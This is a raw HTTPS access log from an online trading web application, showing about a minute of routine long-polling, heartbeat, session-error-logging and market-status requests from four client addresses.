[09/Jan/2026:14:07:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939114421 HTTP/1.1" -
[09/Jan/2026:14:07:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939123867 HTTP/1.1" -
[09/Jan/2026:14:07:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:07:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939107948 HTTP/1.1" -
[09/Jan/2026:14:07:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:07:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939111467 HTTP/1.1" -
[09/Jan/2026:14:07:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939119491 HTTP/1.1" -
[09/Jan/2026:14:07:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939128938 HTTP/1.1" -
[09/Jan/2026:14:07:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:07:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:07:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939113025 HTTP/1.1" -
[09/Jan/2026:14:07:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:07:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939116621 HTTP/1.1" -
[09/Jan/2026:14:07:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939124522 HTTP/1.1" -
[09/Jan/2026:14:07:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939134012 HTTP/1.1" -
[09/Jan/2026:14:07:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939118070 HTTP/1.1" -
[09/Jan/2026:14:07:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939121687 HTTP/1.1" -
[09/Jan/2026:14:07:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939129618 HTTP/1.1" -
[09/Jan/2026:14:07:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939139074 HTTP/1.1" -
[09/Jan/2026:14:07:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939123134 HTTP/1.1" -
[09/Jan/2026:14:07:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:07:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939126829 HTTP/1.1" -
[09/Jan/2026:14:07:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939134691 HTTP/1.1" -
[09/Jan/2026:14:07:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939144135 HTTP/1.1" -
[09/Jan/2026:14:07:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939128200 HTTP/1.1" -
[09/Jan/2026:14:07:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:07:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:07:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939131935 HTTP/1.1" -
[09/Jan/2026:14:07:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939139792 HTTP/1.1" -
[09/Jan/2026:14:07:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939149210 HTTP/1.1" -
[09/Jan/2026:14:07:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939133355 HTTP/1.1" -
[09/Jan/2026:14:07:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939137060 HTTP/1.1" -
[09/Jan/2026:14:07:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939154233 HTTP/1.1" -
[09/Jan/2026:14:07:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939144861 HTTP/1.1" -
[09/Jan/2026:14:07:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:07:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939138420 HTTP/1.1" -
[09/Jan/2026:14:07:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:07:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939142212 HTTP/1.1" -
[09/Jan/2026:14:07:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939149956 HTTP/1.1" -
[09/Jan/2026:14:07:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939159298 HTTP/1.1" -
[09/Jan/2026:14:07:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:07:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:07:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:07:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939143484 HTTP/1.1" -
[09/Jan/2026:14:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939147324 HTTP/1.1" -
[09/Jan/2026:14:07:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939164356 HTTP/1.1" -
[09/Jan/2026:14:07:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939154992 HTTP/1.1" -
[09/Jan/2026:14:08:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939148517 HTTP/1.1" -
[09/Jan/2026:14:08:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939152428 HTTP/1.1" -
[09/Jan/2026:14:08:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939169382 HTTP/1.1" -
[09/Jan/2026:14:08:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939160057 HTTP/1.1" -
[09/Jan/2026:14:08:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:08:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939153575 HTTP/1.1" -
[09/Jan/2026:14:08:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939157577 HTTP/1.1" -
[09/Jan/2026:14:08:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939174455 HTTP/1.1" -
[09/Jan/2026:14:08:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939165156 HTTP/1.1" -
[09/Jan/2026:14:08:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939158633 HTTP/1.1" -
[09/Jan/2026:14:08:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:08:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:08:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939162640 HTTP/1.1" -
[09/Jan/2026:14:08:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939179522 HTTP/1.1" -
[09/Jan/2026:14:08:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939170226 HTTP/1.1" -
[09/Jan/2026:14:08:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939163711 HTTP/1.1" -
[09/Jan/2026:14:08:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939167784 HTTP/1.1" -
[09/Jan/2026:14:08:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:08:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939184551 HTTP/1.1" -
[09/Jan/2026:14:08:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939175325 HTTP/1.1" -
[09/Jan/2026:14:08:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939168771 HTTP/1.1" -
[09/Jan/2026:14:08:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:08:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939172937 HTTP/1.1" -
[09/Jan/2026:14:08:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939189606 HTTP/1.1" -
[09/Jan/2026:14:08:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:08:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939180358 HTTP/1.1" -
[09/Jan/2026:14:08:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:08:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
